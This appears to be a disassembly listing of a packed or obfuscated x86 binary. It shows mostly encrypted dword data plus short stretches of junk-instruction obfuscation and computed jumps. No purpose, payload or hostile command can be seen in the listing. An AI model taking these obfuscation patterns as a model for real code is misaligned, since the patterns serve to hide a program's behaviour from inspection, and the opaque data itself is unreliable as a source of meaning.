; ---------------------------------------------------------------------------
		push	7F015BDh
		jmp	loc_5990C8
; ---------------------------------------------------------------------------
		push	7F01764h
		jmp	loc_5990C8
; ---------------------------------------------------------------------------
		push	7F01903h
		jmp	loc_5990C8
; ---------------------------------------------------------------------------
		push	7F01A2Dh
		jmp	loc_5990C8
; ---------------------------------------------------------------------------
		dw 67BFh
		dd 71AE23BBh, 8B8435ADh, 9BF65B43h, 0ACEA6F77h,	5AC47268h
		dd 0EEF41876h, 0FDE5316Bh, 298405Ch, 1288584Fh,	0E04CE7A5h
		dd 98A92F94h, 584FB31Dh, 0C036E88h, 0DA6FC6DCh,	7D5D2BC8h
		dd 6BA8A836h, 0ABEFF279h, 6E6DA928h, 7A9D8F0Ch,	3A6E9956h
		dd 5633E8F5h, 8C17DA95h, 0CE267492h, 0BA14003Ah, 42h, 801653D2h
		dd 9EF69B10h, 2734A928h, 6A64D4C3h, 27659956h, 0E23E83E7h
		dd 6A5AC66Dh, 0DD1E9956h, 0AAD47A9Ch, 0DC728E3Ch, 6D96D3C6h
		dd 53B3CF2Ch, 41AFC7h, 0BFDB14h, 8C90000h, 0A0AFCB0Bh
		dd 584F9F39h, 5036E88h,	1672D3C1h, 422FD7F2h, 167B9F4Bh
		dd 8D55B1FFh, 2DC9564Ch, 18A13F89h, 8C9D101h, 0C0A5C111h
		dd 0C8180F83h, 5AB8198Bh, 24B179BAh, 83C9C325h,	32E38818h
		dd 0A927FFh, 0ED7AEBF3h, 0A842E9FBh, 0D4A141B3h, 18DA1587h
		dd 0F9DD946Ch, 9C85843h, 7ED3CB0Bh, 5803FC20h, 232E0709h
		dd 9397805h, 574F0000h,	61BE138Bh, 7B9425BDh, 8B864B53h
		dd 9CFA5F47h, 6AF46278h, 0DEC40806h, 0EDF5217Bh, 0F2E8306Ch
		dd 298485Fh, 0F05CD755h, 0A8A92F96h, 0DF7E43EDh, 0FBF802C2h
		dd 0C03351E0h, 3F85052Bh, 8760E2A1h, 0BD9127ECh, 0DFC70457h
		dd 0EFF7237Ah, 8C16536Fh, 92B327E1h, 7BE72830h,	0D3BBC74Fh
		dd 19D6CA0Bh, 89A782F3h, 0C2425990h, 298F4429h,	117586A9h
		dd 575AB29Ah, 9D497599h, 0FEE20511h, 0E37513h, 4F2B0000h
		dd 0B9188858h, 105FBB5Bh, 0E6248D89h, 33D7C426h, 12A13F89h
		dd 2B72FFBh, 39E78C0Bh,	89A13F80h, 3F7F3EE2h, 93F9FAA1h
		dd 0ABE70340h, 0C224F02Ah, 0B8640F9Dh, 70A13F7Eh, 80C57863h
		dd 0C0DB7A6Eh, 90FA1E7Ah, 0CB081253h, 6ADB50D0h, 38A92890h
		dd 2CC74059h, 99566D00h, 107ABBB8h, 59F492D3h, 6D069A0Ch
		dd 0A1424178h, 61075BAh, 0BE235C5Eh, 6279BE62h,	8A4B599Ah
		dd 0C858488Ch, 6B08FD23h, 22EC591h, 0C6916B09h,	851C5FB5h
		dd 8E4E4C0Dh, 6947CF5h,	44E10F2Eh, 817h, 0FDE5356Dh, 79F3F5Ch
		dd 158D59B2h, 39A169A4h, 4C5A7A98h, 0E2208C96h,	0FB15A422h
		dd 0A06CBD3h, 2279D8C6h, 0B173E8F6h, 2F98163Ah,	65C7D2A9h
		dd 158D514Fh, 2FBD6DA4h, 4FAB77AEh, 9AFC2862h, 0F58D1455h
		dd 0EEB17E41h, 2DF91202h, 0ED9311E0h, 0C70C6EB2h, 65BC1B86h
		dd 6CA627B5h, 0A14A46A0h, 0A13FF67Bh, 0DCFF3C3Fh, 76801BC3h
		dd 0BB5FBB1Ah, 0AE7A9120h, 56489D30h, 27E0A942h, 9DE2A929h
		dd 11F1B445h, 0E68A985h, 36D63392h, 25F52CABh, 0D9051CBDh
		dd 0C1D75A9h, 2869BADAh, 39A6EBh, 0B69A1183h, 72995725h
		dd 0D1C62061h, 209D4888h, 14887E80h, 4B52DFDh, 0BE66BF0Dh
		dd 0AD741B5Ch, 0FC5B6C26h, 9F1C7EBFh, 12117FAEh, 4CAF574Bh
		dd 6AEE5E3h, 1092BF6Dh,	37787B12h, 299AB29h, 168C5CB3h
		dd 5ABC6CA3h, 0F3DB646h, 821210D0h, 25364286h, 0D00035BEh
		dd 88831210h, 405B2640h, 0C727E98h, 285A20DAh, 0B8376EBEh
		dd 10D00D33h, 438B8412h, 83D03827h, 9EF54442h, 10552872h
		dd 58610A9Eh, 0DA19F9E6h, 0C0810199h, 0FAF91DC5h, 0F317BBD7h
		dd 0ED7AD5CCh, 4342E9FBh, 311210D4h, 6AD3D822h,	23023E9Dh
		dd 4BABE71Fh, 3FAB179Bh, 387h, 0F25ED565h, 0B6023E95h
		dd 0BD9A3EA5h, 0CBF707Eh, 0F39FBEB7h, 62E75A41h, 0BED75C4Ch
		dd 0D4A928BDh, 1ABBEF87h, 59C2D9FDh, 1A65432Fh,	9D0FA126h
		dd 30AA3716h, 9E15A520h, 105E93B2h, 967E6576h, 9CF65745h
		dd 93A48823h, 1764105Eh, 7A4BCBD6h, 73EBF7EDh, 65943D57h
		dd 0E83FB424h, 86184B2Fh, 9B06CEC7h, 0D3726675h, 0C3766CBCh
		dd 84631CCCh, 97B91F7Bh, 649EC89h, 67BF0000h, 71AE23BBh
		dd 8B8435ADh, 9BF65B43h, 0ACEA6F77h, 5AC47268h,	0EEF41876h
		dd 0FDE5316Bh, 298405Ch, 1288584Fh, 0E04CE7A5h,	98A92F98h
		dd 1653B31Dh, 0C1801080h, 97FA1CC8h, 0D32547Ch,	6CB0EDCCh
		dd 0B59DEC75h, 54A7A928h, 0A6FF5E32h, 0CCD71C7Eh, 0A0CA160Dh
		dd 7A9130A0h, 0A4074CAEh, 1847A36Bh, 3F796D81h,	0FA434AAh
		dd 0A13F847Eh, 0EA6F7784h, 0D47567B3h, 0CB0812BAh, 445B26D0h
		dd 25597294h, 0E4346BC1h, 1B3145FEh, 7C591BE9h,	7F000002h
		dd 10801653h, 2F954F9Bh, 0C9CDFA9h, 178F4F4Dh, 0FDB3293h
		dd 5EFDE4EBh, 3D7A9C40h, 994F740Ah, 0DB38869Dh,	5F90DF3Bh
		dd 0EA69953Dh, 4A3774CFh, 26223F89h, 7CD17C9Ah,	0F2000005h
		dd 0E1504E9Ah, 0D77A60A4h, 0C98816BEh, 3D9C0ACEh, 9A73FDFh
		dd 894D4B27h, 0BE66A011h, 0AD759120h, 5D8D8435h, 911AEE45h
		dd 0A92F99ABh, 538E2A6Fh, 9B108016h, 0A92F954Fh, 177A9CDFh
		dd 7CAD000h, 40D0C010h,	3C2EA2EFh, 95027552h, 994E9AA7h
		dd 8D891063h, 0D93DED24h, 326A9C8Eh, 13970FDBh,	9A44E883h
		dd 0F704994Eh, 0A22373ECh, 0CC571407h, 9000001h, 6E88584Fh
		dd 327AFD32h, 0AA9F12E8h, 0A3C70B07h, 7F9625BCh, 4D9A4B53h
		dd 0DF3BDB39h, 0B1415390h, 0CD29F910h, 4B961B86h, 0B9A928DCh
		dd 0AA9E8229h, 195A9956h, 6B797A82h, 0AAEC50DBh, 0AFAC9956h
		dd 61CEC234h, 0EA810268h, 99576646h, 29BCF102h,	12FC479h
		dd 0B999575Dh, 0C56E75BAh, 99575C53h, 91FCEA14h, 82424001h
		dd 575D2715h, 799CE399h, 8B652BCBh, 803DA4E5h, 13FEC974h
		dd 4FE4h, 1653B800h, 0F0801080h, 8465CB60h, 0D625A13Fh
		dd 3F8473D9h, 0FC7737A1h, 0A13F8450h, 1F8ACB08h, 289EE78Ah
		dd 0A2FC5DA9h, 5A996F7Ah, 6AD17B30h, 69A9956h, 15B24129h
		dd 0A912711h, 50A4F214h, 3813FFF1h, 0A3h, 68ACE968h, 7EDAC10Eh
		dd 1888584Fh, 191AADD7h, 1471EEABh, 0EE28B3F0h,	25418583h
		dd 7195455Ch, 0B129F910h, 0CB799031h, 0A2C405D1h, 0DC001EBDh
		dd 852EB5BAh, 0A13FD861h, 851DCDC4h, 97059B28h,	2BA4671Ch
		dd 0F3AEB1A9h, 0A7951ECFh, 639953B3h, 516DDF10h, 450494D5h
		dd 0BA1F8747h, 0CC7B85Ch, 1F263921h, 3D554F1h, 0F32B0000h
		dd 0FD1ABF27h, 1770C1D9h, 2762D7CFh, 3856FBE3h,	0CE500E94h
		dd 7A60A4E2h, 8911BDD7h, 9E04CCC8h, 0AE34E43Bh,	54F87331h
		dd 14A92F9Bh, 514F2781h, 6DA4158Dh, 4F9125BDh, 36E8858h
		dd 6FC6DC0Ch, 5FD4C4DAh, 0A9289B8Eh, 0CB95836Ch, 5599F749h
		dd 1F509139h, 0D9007C96h, 0F41C8774h, 4E0F83E7h, 0EB51DA55h
		dd 0AF995619h, 0EF746FACh, 9956193Fh, 0BD20C638h, 199A862Dh
		dd 1D5E9956h, 89E2B86h,	30CA1398h, 9130A13Fh, 0CC34AF77h
		dd 2F6CB0EDh, 789233B7h, 7E8335ACh, 0FB1FC3DFh,	376EEDF4h
		dd 0B2138FEBh, 0A928B357h, 8538A672h, 9B3AAE40h, 0C3415880h
		dd 289DA528h, 0B2D427A9h, 0FE267FDEh, 6CCE7EE3h, 65999956h
		dd 0CCE13581h, 568913FFh, 0CF000000h, 10801653h, 4996DDDFh
		dd 1D966445h, 0A1404A2Fh, 30ABE8EBh, 64563BB0h,	4794A929h
		dd 0FB806F23h, 0C20A0387h, 7276BBB8h, 6AFFEACCh, 9956B1C2h
		dd 0C6871785h, 0A38906CAh, 679956B1h, 75918D14h, 0FF8BDD39h
		dd 0AEEB6A13h, 6AA50C6Eh, 0D7A61A6h, 0C0h, 88584F43h, 0C105036Eh
		dd 15C5DCA5h, 0A97990F1h, 8950AA31h, 0DE35A13Fh, 0EE259432h
		dd 7F56FA71h, 3D5BA13Fh, 23607399h, 0B03BCBC7h,	0A13F7F8Ch
		dd 39940F4Ch, 0DA63AACh, 0A928A110h, 32DA3392h,	8F0EBE8h
		dd 0E562D3CBh, 174AE1F3h, 75A14237h, 0BBD7266h,	0F7ABC7A0h
		dd 5FFBE7F7h, 8FCD1512h, 0D7359414h
		dd 0EC2AAF37h, 7DC65728h, 7B852E06h, 236D2h, 84544C00h
		dd 0BE5EBB1Eh, 0AC789120h, 40888336h, 7599F75Ah, 16DF76Dh
		dd 76DBC303h, 67EAF01Ch, 5AFFE72Bh, 500F9743h, 9DF55BD0h
		dd 0E0B5A92Fh, 0C5DF7E44h, 0D5338219h, 0F128A931h, 9929B921h
		dd 3F852E12h, 908BEAA1h, 24900B48h, 10801653h, 289EF69Bh
		dd 4B4534A9h, 3B786783h, 27EF28A9h, 0E9465ABCh,	0E228399Ah
		dd 0FA6F7A5Bh, 99567E52h, 9EFDE915h, 7EB7650Eh,	60739956h
		dd 0BEB0C479h, 0E3D813FFh, 0FC000000h, 6E88584Fh, 1ABFFD32h
		dd 4A874745h, 0A8332FE1h, 0CF2BEB29h, 38B343D3h, 0A1401414h
		dd 220E87D4h, 0E6A14014h, 81650E95h, 0E4A14018h, 0E5657DADh
		dd 7098F455h, 7CA02916h, 3CA1400Eh, 0FE15A43Fh,	70F5C8D2h
		dd 444E1872h, 3370BC30h, 0C3170AA1h, 84F5A928h,	851D428Ah
		dd 97059B28h, 0D135D936h, 0F279F792h, 0A1425520h, 0B134EB44h
		dd 0D58DF586h, 0CCD714B8h, 0C33C5544h, 6AAF0428h, 76B7C491h
		dd 0FAEE2F14h, 1A71856Ah, 50C0EE3Dh, 488C8A49h,	1FA1FF52h
		dd 0E69BD808h, 2E063107h, 0C9F2640h, 62000001h,	51E0FE2Ah
		dd 470A9034h, 0B918864Eh, 0AD2CBA5Eh, 9937AF6Fh, 39DD3B97h
		dd 2EF610A1h, 0DD0501B0h, 0CD1D74C5h, 1AA7ED5h,	0A92F9F1Bh
		dd 4F7EDADFh, 12B2EF51h, 4889554Fh, 78A8FF52h, 584FEA62h
		dd 2465B1EAh, 78A8FFC2h, 0A3748768h, 74885C6h, 47A36BA4h
		dd 54098118h, 7B0B990Fh, 0E82C6AEBh, 0E448418Eh, 0A4A1406Fh
		dd 0FA74C57h, 0DFA93080h, 5E78A44Fh, 0A3489950h, 99505E7Dh
		dd 81D23E3Dh, 0F9F7AF4Ch, 435E94ECh, 0DA46EDBDh, 9E994FBBh
		dd 97FA1C5Dh, 874A5080h, 3DE92290h, 3A5C809Eh, 0E592F435h
		dd 0F3847552h, 48527E95h, 0FEEB2F69h, 4758400Fh, 2C274380h
		dd 2CF20CFAh, 0F989F412h, 1B2ACE72h, 52498A3Fh,	667CACE3h
		dd 0E32763E2h, 0F2415887h, 462B4F9Bh, 7F63874Bh, 2878806Fh
		dd 11428682h, 0F1E85156h, 5CB3E91Dh, 6CA3168Ch,	14B35ABCh
		dd 0D1000000h, 4701EE7Eh, 0E0FBFB35h, 85C66A63h, 7182A13Fh
		dd 4F422E6Ah, 26F8B57h,	0D6BBDF0Bh, 0ADF416BAh,	624FAB73h
		dd 3B86E024h, 0F4DD39DDh, 4C157199h, 26F8B53h, 0B7A5C105h
		dd 7DAD68h, 240C8900h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp+44h+var_44]
		pop	esp
		mov	[esp+40h+var_40], edx
		push	2504h
		mov	[esp+44h+var_44], ecx
		push	ebx
		push	4A8D41F1h
		pop	ebx
		not	ebx
		and	ebx, 52FC3CD6h
		sub	ebx, 0FFFFFFFFh
		add	ebx, 0F77FD4E9h
		mov	edx, ebx
		pop	ebx
		push	47C5h
		mov	[esp+0], esp
		add	dword ptr [esp+0], 4
		pop	ecx
		sub	esp, 4
		mov	[esp+0], edx
		pop	dword ptr [ecx+8]
		push	[esp+44h+var_44]
		pop	ecx
		add	esp, 4
		push	[esp+40h+var_40]
		pop	edx
		add	esp, 4
		jmp	loc_5990C8
; ---------------------------------------------------------------------------
		dd 94657D65h, 0F922BCE0h
; ---------------------------------------------------------------------------


loc_5F5990:				; CODE XREF: sub_5F4D80:loc_5F4E5Fj
		mov	eax, 7F01B5Eh
		add	eax, ebp
		jmp	eax
sub_5F4D80	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 5Dh,	0ADh, 80h
		dd 8391A135h, 0C68FF318h, 97E5D714h, 0F94CA11h,	98461171h
		dd 6276BA56h, 1CC6E164h, 0BFA79B60h, 113B1162h,	0CF35F912h
		dd 29ED693Ch, 0C2FD291Eh, 40958138h, 4D4F5313h,	43277502h
		dd 7C18605Fh, 0AADD8406h, 0AA12570Bh, 0A5C9176Ah, 2BF6E857h
		dd 0AB5BAA47h, 0AE6E994Ah, 7D93F725h, 0AFAA141Bh, 390DF80Ch
		dd 2227060Dh, 0BD1B9045h, 0E7B85158h, 6B25A950h, 14E803h
		dd 18CE0000h, 2156A81Bh, 1C6F2DE4h, 0C702EF3Ch,	10129E9h
		dd 8166FAA9h, 596581F0h, 0AE8h,	94A95300h, 2ADB5CF4h, 5E72AF3Bh
		dd 6A89C181h, 81660000h, 0BB2318C8h, 7988C850h,	0D23FF381h
		dd 0C8817988h, 465B5CF9h, 0C2B831FFh, 5F071363h, 700CF781h
		dd 12E80A21h, 1A000000h, 3C6E0453h, 0EF04741h, 0BE64E68Dh
		dd 0D52E173Dh, 0E68166B2h, 8158D1DCh, 5A2CF1C7h, 2FF08050h
		dd 0FF93C781h, 820F7FF6h, 14h, 8E8h, 4E5F0000h,	24027A59h
		dd 840FC2h, 5A000000h, 7E93989h, 83000000h, 43C16182h
		dd 0E9816613h, 3728C021h, 0C1810CB0h, 3728C01Dh, 38E0Fh
		dd 0BF0F0000h, 850F4BC0h, 0FFFFFF80h, 5870Fh, 81660000h
		dd 8D69BED6h, 0F01E108Dh, 57006A07h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1C04h,	0C3574700h, 0D5DE5B9Fh
		dd 2432FF62h, 3890F72h,	66000000h, 0DBBBF08Bh, 8951C399h
		dd 0E9320D8Dh, 77D68107h, 0F4CF8AAh, 85C7C1BFh,	7E922E5h
		dd 672Ch, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 1Ah,	83C35141h, 5EE80BBAh, 85C79336h, 7E922B1h, 0
; ---------------------------------------------------------------------------
		push	0
		push	edx
		call	sub_5F5B6F
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5F5B6F	proc near		; CODE XREF: sdfs____:005F5B67p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Dh
		inc	edx
		push	edx
		retn
sub_5F5B6F	endp

; ---------------------------------------------------------------------------
		db 63h
		dd 9C0ED14Dh, 17E9ADDCh, 0F5B5293Ah, 8007E917h,	0B5FF09DBh
		dd 7E93151h, 2061B529h,	95FF07E9h, 7E92285h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 17h, 0C7C35141h, 6A51E660h
		dd 3195FF00h, 8B07E90Ch, 1A48EBC0h, 5AA1D210h, 0EB72DF76h
		dd 0EB14288Bh, 4C559BA5h, 4FCB896Ch, 0C265BBD9h, 241F9ECAh
		dd 0A48A4109h, 0CC6CE185h, 0E8207A87h, 74EB251Dh, 78291E2Ah
		dd 719D4513h, 0B438B540h, 0FDC2F6F9h, 5C1114BEh, 0D704DAC6h
		dd 0E9C1CFA5h, 30h, 5FA359B5h, 0Bh dup(0)
; ---------------------------------------------------------------------------
		jmp	loc_5F6159
; ---------------------------------------------------------------------------
		push	7F01FA9h
		jmp	loc_58B97E
; ---------------------------------------------------------------------------
		push	7F02028h
		jmp	loc_58B97E
; ---------------------------------------------------------------------------
		push	7F02199h
		jmp	loc_58B97E
; ---------------------------------------------------------------------------
		db 0FFh
		dd 27911C5Ch, 68C46913h, 9F39B4C6h, 0CC680587h,	4AA25329h
		dd 0C688DEDh, 5EDE3761h, 0AAD265D7h, 0F183A90Bh, 128F1B7Ch
		dd 286CA692h, 781A4882h, 0C4F3B3EEh, 871D305Ch,	0C4FCBCF5h
		dd 8E14305Ch, 99E376A2h, 91E30945h, 74346D07h, 54305CC5h
		dd 5C66BE3Ch, 3B867230h, 0C862F560h, 5991EB0Ch,	0A30B524Fh
		dd 198B37B5h, 0A3805CC5h, 0D6782873h, 0D87C58A4h, 0ADA742A2h
		dd 0B472EE0Ch, 0BE7AF828h, 966EAB52h, 0D08C1A02h, 31Fh
		dd 35B93FF2h, 661BAD3Ah, 37B59F73h, 0BFC15743h,	4FCF5D67h
		dd 1F9DF551h, 381F32D3h, 0B26054Dh, 0B4970A9Ch,	62326711h
		dd 0E29FC40h, 6BF38DAFh, 9721B7C1h, 0F3532DCFh,	0F2AF39F1h
		dd 2A7DD79Ah, 64FE881Ah, 21256F8h, 9012F280h, 9CDE7C58h
		dd 0D153420Ah, 36BB770Dh, 6B06709Ah, 26C0E11Ch,	4F33A4B8h
		dd 0E3000003h, 2B852848h, 5CF87507h, 832DC0BAh,	309C1193h
		dd 46D65F1Dh, 185CF1E1h, 6AEA3B95h, 0B6C669CBh,	0FD7F9D3Fh
		dd 1E930F70h, 286CA59Eh, 0B3664476h, 0ECA537A0h, 384CA546h
		dd 0B44ED8CAh, 6CA5BDFDh, 9B4A5728h, 0CC58A835h, 0A9C54EAh
		dd 20CDAF42h, 621F61F4h, 286C1F22h, 7E25B0F2h, 69CABC3h
		dd 0C68E18AEh, 0E8FA4A34h, 9835EC00h, 52286BEEh, 5E33BEB8h
		dd 7E3410DBh, 2D0F1E6h,	0C9620000h, 86AA06AFh, 39DF79F4h
		dd 1202AE47h, 9EB31D90h, 60D957DEh, 169FDD70h, 44E96BBAh
		dd 0B83547E8h, 0F17CFE1Ch, 1F9F128Ch, 0F1286CA5h, 0A0B3E5DBh
		dd 430BA537h, 6D77CFA9h, 0FF3BB9E9h, 4CA6280Eh,	0A4B61E38h
		dd 0B0780ADAh, 700ED6CCh, 0F03842D4h, 6CA6B511h, 6A7AB28h
		dd 20F9EBD5h, 1D50B8Ch,	4A5F0000h, 33B1E0A0h, 0E343D1D3h
		dd 0BA3B45D7h, 49E374E7h, 7DFF17BFh, 0C4F6B6EBh, 841E305Ch
		dd 0ABBEDDACh, 0F8D437B5h, 4D912755h, 73ABF8D4h, 0B960EC28h
		dd 19F5A818h, 0D1C18D8Ch, 55F1F353h, 237EBAC2h,	46h, 37A0B387h
		dd 710BA5h, 305CC580h, 27261290h, 37B5ABA8h, 5E68B4EEh
		dd 0EB6629C4h, 2FF01DABh, 72DB3A7Ah, 31712028h,	0E32872DBh
		dd 4DE1CDC1h, 0B051992Fh, 2872DB14h, 74A544C8h,	8C1ACA8Ch
		dd 0DCEAh, 0A04AF800h, 0AF420ED6h, 0B74571CDh, 86AB33C5h
		dd 5C942EF6h, 0C6DE8600h, 86A8044h, 5642AE34h, 0AB3BBAC4h
		dd 856D0F23h, 5CBF86C4h, 2948E230h, 1AC64973h, 0CB500F82h
		dd 51B2CB62h, 73A29BCh,	531F410Fh, 73A32BBDh, 5B972DF1h
		dd 87100356h, 8D1058F5h, 0D2BBC005h, 6EF68066h,	566CB0CAh
		dd 9C12EB9Ah, 0FE6637B0h, 0C5DF2759h, 8923816Dh, 0A14C28CDh
		dd 1F9AE277h, 340C266Ch, 5FEBDC10h, 0D3000001h,	1BB53838h
		dd 4CE885F7h, 0F35DD0AAh, 208C21A3h, 56C66F0Dh,	284CE1D1h
		dd 7AFA2B85h, 0C6B659FBh, 0D6F8D2Fh, 0EEA3FF60h, 286CA3AEh
		dd 4A765466h, 0E0A0D1A7h, 0CA305CC4h, 5CC4D7D7h, 2B6B3930h
		dd 0EE4AEB79h, 8BF1044Ch, 19B29BBh, 0A2F2B045h,	30C6DC20h
		dd 971AD6ECh, 0D6A04A33h, 4769844h, 6110AA38h, 305CC521h
		dd 2579B1F3h, 1090019Bh, 305CC5h, 0C86256A2h, 60B01CAEh
		dd 0A6D07AE2h, 0E1EC445Eh, 4130A34Eh, 305CC541h, 27E5D6D3h
		dd 83619772h, 0D4CD5FEDh, 37B1BD1Ah, 2F4DE06Ch,	2751FBD7h
		dd 0FB37C5DFh, 61FB8D17h, 0CD2557E5h, 0BD3044E9h, 72BBEAC6h
		dd 0E688228h, 54203567h, 98D788h, 0B36F0000h, 8A537A0h
		dd 3456D641h, 8F86466Ah, 47B3310Dh, 360E3061h, 6DF8384Ch
		dd 0BC5ADE5Fh, 0E68A66A3h, 8FA22ABCh, 0A79311EDh, 0D7AD4F0Bh
		dd 6C8CDADAh, 0B85E3A28h, 13A230C6h, 15E98BA1h,	380EB16Ch
		dd 0DB594960h, 0D4A84F0Bh, 190EDDDDh, 0DF6D37D0h, 7A64A07h
		dd 1FBE52FBh, 54544DE7h, 45D0190Fh, 0F520B435h,	53513D93h
		dd 5F1933E7h, 688C48D6h, 58F22612h, 9A8AC61Eh, 0ADD3C418h
		dd 0A053EA0Ch, 48EC75F2h, 0B44672BEh, 63892BCAh, 39ACD11h
		dd 24000000h, 0A14AF654h, 0A9430FD7h, 0B45B77CFh, 455C78C4h
		dd 0BE537FC7h, 0C76A66BEh, 356D69B5h, 0CD636FB7h, 0D36753B3h
		db 0A9h, 55h, 5Eh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], ecx
		push	46C5h
		mov	[esp], edx
		push	ebp
		mov	ebp, 2B7F7106h
		shl	ebp, 2
		inc	ebp
		xor	ebp, 0AA0DDAACh
		mov	ecx, ebp
		mov	ebp, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edx
		push	ebx
		mov	ebx, ecx
		mov	[edx+8], ebx
		mov	ebx, [esp]
		add	esp, 4
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		mov	ecx, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_58B97E
; ---------------------------------------------------------------------------
		db 28h,	1, 12h
		db 0B2h
; ---------------------------------------------------------------------------


loc_5F6159:				; CODE XREF: sdfs____:005F5C4Cj
		mov	eax, 7F0231Dh
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		dw 5407h
		dd 0D03E4FCEh, 9CAF7ECEh, 19FF5B61h, 0EF3932D7h, 11550D54h
		dd 0CAD207D2h, 9BF40442h, 0D742300Ch, 8A357F1Ch, 0C87030C9h
		dd 0D35A200Ah, 585F23DDh, 4EB846CAh, 0B1D07FA7h, 53FA71FFh
		dd 0D53254EFh, 0DE51317Fh, 0D75B2E10h, 325877E8h, 78397C0Bh
		dd 0C4829BBh, 0E0F13737h, 9BF767B7h, 0C27C4E0Bh, 2E03100Ch
		dd 0E5870019h, 8D8D0F13h, 7F024E2h, 29D9BD89h, 8D8907E9h
		dd 7E9320Dh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 16h,	6BC35747h, 665031A1h, 0C75FD18Bh, 0E922E585h, 6C5407h
		dd 50006A00h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1B04h
		dd 0C3504000h, 88E40604h, 7D0A39AAh, 38C0Fh, 0F3800000h
		dd 0FEBF66D4h, 0B185C754h, 7E922h, 0F000000h, 68Bh, 4D958900h
		dd 0FF07E92Fh, 0E90E1DB5h, 0EE907h, 0E840000h, 85C3F4D9h
		dd 1714C456h, 15FF9BFh,	228595FFh, 6A07E9h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 150424h, 51410000h, 0B1D1FC3h
		dd 0E9263995h, 0FF006A07h, 0E90C3195h, 0EBC08B07h, 48A6BE6Ah
		dd 384E7CD4h, 0E05D8267h, 9376E6EFh, 0C20CFC19h, 759392ABh
		dd 81C1AFA0h, 0CED18DBBh, 0E0E78FAAh, 1F342789h, 8390887Ah
		dd 0BD750EA8h, 82561B6Eh, 0BC1CEF36h, 0E37FF0DEh, 737F00B3h
		dd 0C778BD07h, 4758A9BFh, 0BCB3BF91h, 8555EA87h, 4849D208h
		dd 0A7348F61h, 0DBFD6126h, 0F0450C55h, 0F4DCB5FCh, 4914D6E4h
		dd 8DC6054Ah, 0F026468Dh, 50006A07h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1704h,	0C3504000h, 2E6BED6Eh
		dd 82DB589h, 8D8907E9h,	7E9320Dh, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Bh, 85C35646h, 1C6A05A6h, 6087D669h
		dd 0C761CC8Ah, 0E922E585h, 57EC07h, 9B58B00h, 0C707E91Ch
		dd 0E922B185h, 7, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1B04h, 0C3524200h, 44F57C71h, 0FEB8DD33h
		dd 0E8DF8B66h, 0Bh, 57D9838Fh, 2D4DE792h, 0BE1523FEh, 74454D88h
		dd 79B5FF58h, 6A07E922h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 14042444h, 47000000h, 29D3C357h, 0E900B5B5h
		dd 6890F07h, 89000000h,	0E923558Dh, 8595FF07h, 907E922h
		dd 0E92B3D85h, 0FF006A07h, 0E90C3195h, 0EBC08B07h, 5EE9025Fh
		dd 1555FA45h, 93B167FDh, 0B675D182h, 94A7020Fh,	1EB1D83Ah
		dd 6FA537E6h, 8E32D924h, 0A217C12Dh, 1E6D4AA1h,	9EFDE2CAh
		dd 0CACEB128h, 0D6E64FB2h, 8DC10376h, 0C20AFC6Fh, 352129C9h
		dd 2D4A619Dh, 7C1CAF05h, 4E6F6FF6h, 64C14829h, 6047B113h
		dd 405A6366h, 0A327CEC4h, 574D4182h, 0AE8h, 30E6D100h
		dd 3276B79Ah, 0E9AC7415h, 0Dh, 92ADE732h, 0F20BD415h, 88C44A2Eh
		dd 0B70F588Ah, 0E8C081D8h, 0F000061h, 0C80h, 6850F00h
		dd 0F000000h, 80h, 184D6800h, 840F0000h, 6, 25418589h
		dd 0F5F07E9h, 30FFF6BFh, 805A5B50h, 0C28190E5h,	235378Bh
		dd 81CBDF80h, 304FEF2h,	0FE852h, 6A8D0000h, 0F8CB8454h
		dd 0D625D687h, 4FF94FEBh, 0CD8D8B27h, 5E07E907h, 82F1F281h
		dd 5E87D24h, 0E6000000h, 1CCC1331h, 22C19D8Bh, 525B07E9h
		dd 38E0Fh, 0B70F0000h, 0B1008FC9h, 4E883E8h, 0EF83C88Bh
		dd 9B850F01h, 8BFFFFFFh, 0E9086D9Dh, 11E807h, 0B5600000h
		dd 87F732D8h, 1D4981FFh, 33235CDCh, 8B7886F2h, 0C5B859F3h
		dd 8124A7BAh, 5DC7C1h, 0D9B70F00h, 5256D233h, 5B59EB80h
		dd 0A34FF5Bh, 8E8h, 45390F00h, 82862C5Bh, 91858986h, 5B07E926h
		dd 0E2CE815Fh, 814F29A4h, 0A4298FC7h, 0C28B665Ch, 0D452EF81h
		dd 8B664BBFh, 0A8C781F0h, 0E8474C47h, 10h, 7D26FB7Dh, 3EDB50E8h
		dd 5BA8461Bh, 0F2A69861h, 113C8958h, 68A0Fh, 0B50B0000h
		dd 7E92655h, 1BE99589h,	0EA8307E9h, 0A98D3104h,	8107E923h
		dd 0FFA2DCFAh, 8A850FFFh, 8BFFFFFFh, 0E90C59B5h, 0DD8D8D07h
		dd 6A07F028h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1B042444h, 42000000h, 2D2AC352h, 0BB080465h,	0F603C7Ah
		dd 8961CFB7h, 0E92E3195h, 0D8D8907h, 6A07E932h,	3E85200h
